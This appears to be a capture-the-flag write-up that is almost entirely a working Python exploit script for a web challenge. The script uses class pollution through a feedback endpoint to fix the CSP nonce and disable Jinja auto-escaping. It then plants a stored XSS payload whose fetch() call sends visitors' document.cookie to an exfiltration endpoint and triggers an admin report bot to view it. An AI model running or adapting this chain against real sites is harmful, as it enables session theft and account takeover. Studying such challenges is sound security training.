Rating:

Class pollution to fuck up the CSP nonce generation (SECRET_NONCE, RANDOM_COUNT) and stop jinja from auto-escaping HTML (TEMPLATES_ESCAPE_ALL)

import argparse
# import requests
from requests import Session
import random
import string
from bs4 import BeautifulSoup

PAYLOAD = {"__class__":{"__init__":{"__globals__":{"SECRET_NONCE":"wee", "RANDOM_COUNT": 0, "TEMPLATES_ESCAPE_ALL": False}}}}
PASSWORD = "viewie"
EXFIL = "honkhonk"

def rand_username():
    length = 12
    characters = string.ascii_letters
    username = ''.join(random.choices(characters, k=length))
    return username

def parse_nonce(html):
     soup = BeautifulSoup(html, 'html.parser')
     nonce = soup.find('script')['nonce']
     print("nonce is {}".format(nonce))
     return nonce

def exploit(host):
    s = Session()
    username = rand_username()
    register_result = s.post(host + '/register', data={'username': username, 'password': PASSWORD})
    if (register_result.status_code != 200):
            print("fucked up during registering...")
            return
    login_result = s.post(host + '/login', data={'username': username, 'password': PASSWORD})
    if (login_result.status_code != 200):
            print("fucked up during logging in...")
            return
    feedback_result = s.post(host + '/save_feedback', json=PAYLOAD)
    if (feedback_result.status_code != 200):
            print("fucked up during feedback...")
            return
    update_result = s.post(host + '/admin/update-accepted-templates', json={"policy":"strict"})
    if (update_result.status_code != 200):
         print("fucked up during admin update...")
         return
    get_nonce = s.get(host)
    nonce = parse_nonce(get_nonce.text)
    xss_blog = s.post(host + '/create_post', data={'title':'<script nonce={n}>fetch("{e}?c="+document.cookie)</script>'.format(n=nonce, e=EXFIL), 'content': '<script nonce={n}>fetch("{e}?c="+document.cookie)</script>'.format(n=nonce, e=EXFIL), 'public': 1})
    if (xss_blog.status_code != 200):
         print("fucked up during xss blog post...")
         return
    s.get(host + '/api/v1/report')
    print('reported')


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--lhost', help='local addr', required=True)
    parser.add_argument('--rhost', help='remote addr', required=True)
    parser.add_argument('-r', action='store_true', help='run exploit on remote')
    args = vars(parser.parse_args())

    if args['r'] == True:
        exploit(args['rhost'])
    else:
        exploit(args['lhost'])

if __name__ == '__main__':
    main()